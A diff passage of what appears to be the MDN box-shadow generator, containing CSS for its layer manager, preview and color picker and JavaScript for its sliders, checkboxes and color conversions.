+	width: 100%;
+	margin: 5px 0;
+	padding: 5px;
+	text-align: center;
+	background-color: #EEE;
+	border: 1px solid #DDD;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	color: #333;
+	border-radius: 3px;
+
+	position: relative;
+	display: block;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+	color: #FFF;
+	border: none;
+	background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+	color: #FFF;
+	background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 10px;
+	display: none;
+}
+
+#layer_manager .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+	display: block;
+}
+
+
+#layer_manager .stack {
+	padding: 0 5px;
+	max-height: 90%;
+	overflow: auto;
+	overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+	margin: 0 0 10px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button {
+	width: 100px;
+	margin: 0 5px 0 0;
+	padding: 2.5px;
+	color: #333;
+	background-color: #EEE;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+
+	position: relative;
+	display: block;
+	float: left;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_menu .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 5px;
+	display: none;
+}
+
+#layer_menu .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+	display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+	color: #FFF;
+	background-color: #379B4A;
+	border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox > label {
+	height: 15px;
+	line-height: 17px;
+	font-weight: normal;
+	width: 46px;
+	margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox > input:checked + label {
+	display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+	width: 82%;
+	float: left;
+
+}
+
+
+#preview {
+	width: 100%;
+	height: 400px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	cursor: move;
+	float: left;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#obj-element {
+	width: 300px;
+	height: 100px;
+	border: 1px solid #CCC;
+	background: #FFF;
+	position: relative;
+}
+
+
+#obj-before {
+	height: 100%;
+	width: 100%;
+	background: #999;
+	border: 1px solid #CCC;
+	text-align: left;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+#obj-after {
+	height: 100%;
+	width: 100%;
+	background: #DDD;
+	border: 1px solid #CCC;
+	text-align: right;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+	float: left;
+	overflow: hidden;
+}
+
+.wrap-right {
+	float: right;
+	overflow: hidden;
+}
+
+.wrap-left > * {
+	float: left;
+}
+
+.wrap-right > * {
+	float: right;
+}
+
+@media (min-width: 960px) {
+
+	.wrap-left {
+		width: 45%;
+	}
+
+	.wrap-right {
+		width: 55%;
+	}
+}
+
+
+@media (max-width: 959px) {
+
+	.wrap-left {
+		width: 30%;
+	}
+
+	.wrap-right {
+		width: 70%;
+	}
+}
+
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+	width: 500px;
+	margin: 0 auto 20px;
+	padding: 0;
+
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 1.5em;
+	line-height: 1.5em;
+	color: #AAA;
+	text-align: right;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+
+/**
+ * 	Color Picker
+ */
+
+@media (min-width: 960px) {
+	#controls .colorpicker {
+		width: 420px;
+	}
+}
+
+@media (max-width: 959px) {
+	#controls .colorpicker {
+		width: 210px;
+	}
+}
+
+#colorpicker {
+	width: 100%;
+	margin: 0 auto;
+}
+
+#colorpicker .gradient {
+	width: 200px;
+	height: 200px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background-color: #F00;
+	float: left;
+}
+
+#colorpicker .hue {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	float: left;
+}
+
+#colorpicker .alpha {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	border: 1px solid #CCC;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker #alpha {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+	width: 0.5em;
+	height: 0.5em;
+	border-radius: 0.4em;
+	border: 2px solid #CCC;
+	position: relative;
+	top: 20%;
+	left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+	width: 3px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+	left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+#colorpicker .info * {
+	float: left;
+}
+
+#colorpicker .info input {
+	margin: 0;
+	text-align: center;
+	width: 30px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#colorpicker .info span {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	line-height: 20px;
+	display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+	width: 95px;
+	height: 54px;
+	float: left;
+	position: relative;
+}
+
+#colorpicker .preview {
+	margin: 5px;
+	border: 1px solid #CCC;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+#colorpicker .preview > * {
+	width: 50%;
+	height: 100%;
+}
+
+#colorpicker #output_color {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+	z-index: 2;
+}
+
+#colorpicker .block .input {
+	float: right;
+}
+
+#colorpicker [data-topic="a"] > span {
+	width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+	float: right;
+	margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] > span {
+	display: none;
+}
+
+#colorpicker [data-topic="hexa"] > input {
+	width: 85px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+	height: 20px;
+	margin: 10px 0;
+}
+
+.property * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+	margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+	position: relative;
+}
+
+#output .menu {
+	max-width: 70%;
+	height: 20px;
+	position: absolute;
+	top: 2px;
+}
+
+#output .button {
+	width: 90px;
+	height: 22px;
+	margin: 0 5px 0 0;
+	text-align: center;
+	line-height: 20px;
+	font-size: 14px;
+	color: #FFF;
+	background-color: #999;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	bottom: -5px;
+	float:left;
+}
+
+#output .button:hover {
+	color: #FFF;
+	background-color: #666;
+	cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+	color: #777;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+	border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+	left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+	left: 200px;
+}
+
+#output .output {
+	width: 480px;
+	margin: 10px;
+	padding: 10px;
+	overflow: hidden;
+	color: #555;
+	font-size: 14px;
+	border: 1px dashed #CCC;
+	border-radius: 3px;
+	display: none;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#output .css-property {
+	width: 100%;
+	float: left;
+	white-space: pre;
+}
+
+#output .name {
+	width: 35%;
+	float: left;
+}
+
+#output .value {
+	width: 65%;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +

+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var Slider = function(node) {
+		var min = node.getAttribute('data-min') | 0;
+		var max = node.getAttribute('data-max') | 0;
+		var step = node.getAttribute('data-step') | 0;
+		var value = node.getAttribute('data-value') | 0;
+		var snap = node.getAttribute('data-snap');
+		var topic = node.getAttribute('data-topic');
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.value = value <= max && value >= min ? value : (min + max) / 2 | 0;
+		this.snap = snap === "true" ? true : false;
+		this.topic = topic;
+		this.node = node;
+
+		var pointer = document.createElement('div');
+		pointer.className = 'ui-slider-pointer';
+		node.appendChild(pointer);
+		this.pointer = pointer;
+
+		setMouseTracking(node, updateSlider.bind(this));
+
+		sliders[topic] = this;
+		setValue(topic, this.value);
+	}
+
+	var setButtonComponent = function setButtonComponent(node) {
+		var type = node.getAttribute('data-type');
+		var topic = node.getAttribute('data-topic');
+		if (type === "sub") {
+			node.textContent = '-';
+			node.addEventListener("click", function() {
+				decrement(topic);
+			});
+		}
+		if (type === "add") {
+			node.textContent = '+';
+			node.addEventListener("click", function() {
+				increment(topic);
+			});
+		}
+	}
+
+	var setInputComponent = function setInputComponent(node) {
+		var topic		= node.getAttribute('data-topic');
+		var unit_type	= node.getAttribute('data-unit');
+
+		var input = document.createElement('input');
+		var unit = document.createElement('span');
+		unit.textContent = unit_type;
+
+		input.setAttribute('type', 'text');
+		node.appendChild(input);
+		node.appendChild(unit);
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			setValue(topic, e.target.value | 0);
+		});
+
+		subscribe(topic, function(value) {
+			node.children[0].value = value;
+		});
+	}
+
+	var increment = function increment(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value + slider.step <= slider.max) {
+			slider.value += slider.step;
+			setValue(slider.topic, slider.value)
+			notify.call(slider);
+		}
+	};
+
+	var decrement = function decrement(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value - slider.step >= slider.min) {
+			slider.value -= slider.step;
+			setValue(topic, slider.value)
+			notify.call(slider);
+		}
+	}
+
+	// this = Slider object
+	var updateSlider = function updateSlider(e) {
+		var node = this.node;
+		var pos = e.pageX - node.offsetLeft;
+		var width = node.clientWidth;
+		var delta = this.max - this.min;
+		var offset = this.pointer.clientWidth + 4; // border width * 2
+
+		if (pos < 0) pos = 0;
+		if (pos > width) pos = width;
+
+		var value = pos * delta / width | 0;
+		var precision = value % this.step;
+		value = value - precision + this.min;
+		if (precision > this.step / 2)
+			value = value + this.step;
+
+		if (this.snap)
+			pos =  (value - this.min) * width / delta;
+
+		this.pointer.style.left = pos - offset/2 + "px";
+		this.value = value;
+		node.setAttribute('data-value', value);
+		notify.call(this);
+	}
+
+	var setValue = function setValue(topic, value) {
+		var slider = sliders[topic];
+
+		if (value > slider.max || value < slider.min)
+			return;
+
+		var delta = slider.max - slider.min;
+		var width = slider.node.clientWidth;
+		var offset = slider.pointer.clientWidth;
+		var pos =  (value - slider.min) * width / delta;
+		slider.value = value;
+		slider.pointer.style.left = pos - offset / 2 + "px";
+		slider.node.setAttribute('data-value', value);
+		notify.call(slider);
+	}
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener("mousedown", function(e) {
+			callback(e);
+			document.addEventListener("mousemove", callback);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", callback);
+		});
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-slider-btn-set');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setButtonComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider-input');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setInputComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new Slider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+			notify.call(buttons[topic]);
+		}
+		catch(error) {
+			console.log(error, topic, value);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function(){
+	BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * RGBA Color class
+	 */
+
+	function Color() {
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log("Typeof instance not Color");
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+	}
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (red != undefined)
+			this.r = red | 0;
+		if (green != undefined)
+			this.g = green | 0;
+		if (blue != undefined)
+			this.b = blue | 0;
+		if (alpha != undefined)
+			this.a = alpha | 0;
+	}
+
+	/**
+	 * HSV/HSB (hue, saturation, value / brightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 */
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.updateRGB();
+	}
+
+	Color.prototype.updateRGB = function updateRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision;
+		X = (X + m) * precision;
+		m = m * precision;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	}
+
+	Color.prototype.updateHSV = function updateHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	}
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+	}
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	}
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+		var a = '';
+		var v = '';
+		if (this.a !== 1) {
+			a = 'a';
+			v = ', ' + this.a;
+		}
+
+		var value = "rgb" + a + rgb + v + ")";
+		return value;
+	}
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	}
+
+	/**
+	 * Shadow Object
+	 */
+	function Shadow() {
+		this.inset  = false;
+		this.posX   = 5;
+		this.posY   = -5;
+		this.blur   = 5;
+		this.spread = 0;
+		this.color  = new Color();
+
+		var hue			= (Math.random() * 360) | 0;
+		var saturation	= (Math.random() * 75) | 0;
+		var value 		= (Math.random() * 50 + 50) | 0;
+		this.color.setHSV(hue, saturation, value, 1);
+	}
+
+	Shadow.prototype.computeCSS = function computeCSS() {
+		var value = "";
+		if (this.inset === true)
+			value += "inset ";
+		value += this.posX + "px ";
+		value += this.posY + "px ";
+		value += this.blur + "px ";
+		value += this.spread + "px ";
+		value += this.color.getColor();
+
+		return value;
+	}
+
+	Shadow.prototype.toggleInset = function toggleInset(value) {
+		if (value !== undefined || typeof value === "boolean")
+			this.inset = value;
+		else
+			this.inset = this.inset === true ? false : true;
+	}
+
+	Shadow.prototype.copy = function copy(obj) {
+		if(obj instanceof Shadow !== true) {
+			console.log("Typeof instance not Shadow");
+			return;
+		}
+
+		this.inset  = obj.inset;
+		this.posX   = obj.posX;
+		this.posY   = obj.posY;
+		this.blur   = obj.blur;
+		this.spread = obj.spread;
+		this.color.copy(obj.color);
+	}
+
+	/**
+	 * Color Picker
+	 */
+	var ColoPicker = (function ColoPicker() {
+
+		var colorpicker;
+		var hue_area;
+		var gradient_area;
+		var alpha_area;
+		var gradient_picker;
+		var hue_selector;
+		var alpha_selector;
+		var pick_object;
+		var info_rgb;
+		var info_hsv;
+		var info_hexa;
+		var output_color;
+		var color = new Color();
+		var subscribers = [];
+
+		var updateColor = function updateColor(e) {
+			var x = e.pageX - gradient_area.offsetLeft;
+			var y = e.pageY - gradient_area.offsetTop;
+
+			// width and height should be the same
+			var size = gradient_area.clientWidth;
+
+			if (x > size)
+				x = size;
+			if (y > size)
+				y = size;
+
+			if (x < 0) x = 0;
+			if (y < 0) y = 0;
+
+			var value = 100 - (y * 100 / size) | 0;
+			var saturation = x * 100 / size | 0;
+
+			color.setHSV(color.hue, saturation, value);
+			// should update just
+			// color pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateHue = function updateHue(e) {
+			var x = e.pageX - hue_area.offsetLeft;
+			var width = hue_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			var hue = ((360 * x) / width) | 0;
+			if (hue === 360) hue = 359;
+
+			color.setHSV(hue, color.saturation, color.value);
+
+			// should update just
+			// hue pointer location
+			// picker area background
+			// alpha area background
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateAlpha = function updateAlpha(e) {
+			var x = e.pageX - alpha_area.offsetLeft;
+			var width = alpha_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			color.a = (x / width).toFixed(2);
+
+			// should update just
+			// alpha pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var setHueGfx = function setHueGfx(hue) {
+			var sat = color.saturation;
+			var val = color.value;
+			var alpha = color.a;
+
+			color.setHSV(hue, 100, 100);
+			gradient_area.style.backgroundColor = color.getHexa();
+
+			color.a = 0;
+			var start = color.getRGBA();
+			color.a = 1;
+			var end = color.getRGBA();
+			color.a = alpha;
+
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+		}
+
+		var updateUI = function updateUI() {
+			var x, y;		// coordinates
+			var size;		// size of the area
+			var offset;		// pointer graphic selector offset
+
+			// Set color pointer location
+			size = gradient_area.clientWidth;
+			offset = gradient_picker.clientWidth / 2 + 2;
+
+			x = (color.saturation * size / 100) | 0;
+			y = size - (color.value * size / 100) | 0;
+
+			gradient_picker.style.left = x - offset + "px";
+			gradient_picker.style.top = y - offset + "px";
+
+			// Set hue pointer location
+			size = hue_area.clientWidth;
+			offset = hue_selector.clientWidth/2;
+			x = (color.hue * size / 360 ) | 0;
+			hue_selector.style.left = x - offset + "px";
+
+			// Set alpha pointer location
+			size = alpha_area.clientWidth;
+			offset = alpha_selector.clientWidth/2;
+			x = (color.a * size) | 0;
+			alpha_selector.style.left = x - offset + "px";
+
+			// Set picker area background
+			var nc = new Color();
+			nc.copy(color);
+			if (nc.hue === 360) nc.hue = 0;
+			nc.setHSV(nc.hue, 100, 100);
+			gradient_area.style.backgroundColor = nc.getHexa();
+
+			// Set alpha area background
+			nc.copy(color);
+			nc.a = 0;
+			var start = nc.getRGBA();
+			nc.a = 1;
+			var end = nc.getRGBA();
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+
+			// Update color info
+			notify("color", color);
+			notify("hue", color.hue);
+			notify("saturation", color.saturation);
+			notify("value", color.value);
+			notify("r", color.r);
+			notify("g", color.g);
+			notify("b", color.b);
+			notify("a", color.a);
+			notify("hexa", color.getHexa());
+			output_color.style.backgroundColor = color.getRGBA();
+		}
+
+		var setInputComponent = function setInputComponent(node) {
+			var topic = node.getAttribute('data-topic');
+			var title = node.getAttribute('data-title');
+			var action = node.getAttribute('data-action');
+			title = title === null ? '' : title;
+
+			var input = document.createElement('input');
+			var info = document.createElement('span');
+			info.textContent = title;
+
+			input.setAttribute('type', 'text');
+			input.setAttribute('data-action', 'set-' + action + '-' + topic);
+			node.appendChild(info);
+			node.appendChild(input);
+
+			input.addEventListener('click', function(e) {
+				this.select();
+			});
+
+			input.addEventListener('change', function(e) {
+				if (action === 'HSV')
+					inputChangeHSV(topic);
+				if (action === 'RGB')
+					inputChangeRGB(topic);
+				if (action === 'alpha')
+					inputChangeAlpha(topic);
+				if (action === 'hexa')
+					inputChangeHexa(topic);
+			});
+
+			subscribe(topic, function(value) {
+				node.children[1].value = value;
+			});
+		}
+
+		var inputChangeHSV = function actionHSV(topic) {
+			var selector = "[data-action='set-HSV-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value < 360)
+				color[topic] = value;
+
+			color.updateRGB();
+			updateUI();
+		}
+
+		var inputChangeRGB = function inputChangeRGB(topic) {
+			var selector = "[data-action='set-RGB-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 255)
+				color[topic] = value;
+
+			color.updateHSV();
+			updateUI();
+		}
+
+		var inputChangeAlpha = function inputChangeAlpha(topic) {
+			var selector = "[data-action='set-alpha-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseFloat(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 1)
+				color.a = value.toFixed(2);
+
+			updateUI();
+		}
+
+		var inputChangeHexa = function inputChangeHexa(topic) {
+			var selector = "[data-action='set-hexa-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = node.value;
+			color.setHexa(value);
+			color.updateHSV();
+			updateUI();
+		}
+
+		var setMouseTracking = function setMouseTracking(elem, callback) {
+
+			elem.addEventListener("mousedown", function(e) {
+				callback(e);
+				document.addEventListener("mousemove", callback);
+			});
+
+			document.addEventListener("mouseup", function(e) {
+				document.removeEventListener("mousemove", callback);
+			});
+		}
+
+		/*
+		 * Observer
+		 */
+		var setColor = function setColor(obj) {
+			if(obj instanceof Color !== true) {
+				console.log("Typeof instance not Color");
+				return;
+			}
+			color.copy(obj);
+			updateUI();
+		}
+
+		var subscribe = function subscribe(topic, callback) {
+			if (subscribers[topic] === undefined)
+				subscribers[topic] = [];
+
+			subscribers[topic].push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(topic, value) {
+			for (var i in subscribers[topic])
+				subscribers[topic][i](value);
+		}
+
+		var init = function init() {
+			colorpicker		= getElemById("colorpicker");
+			hue_area		= getElemById("hue");
+			gradient_area	= getElemById("gradient");
+			alpha_area		= getElemById("alpha");
+			gradient_picker	= getElemById("gradient_picker");
+			hue_selector	= getElemById("hue_selector");
+			alpha_selector	= getElemById("alpha_selector");
+			output_color	= getElemById("output_color");
+
+			var elem = document.querySelectorAll('#colorpicker .input');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				setInputComponent(elem[i]);
+
+			setMouseTracking(gradient_area, updateColor);
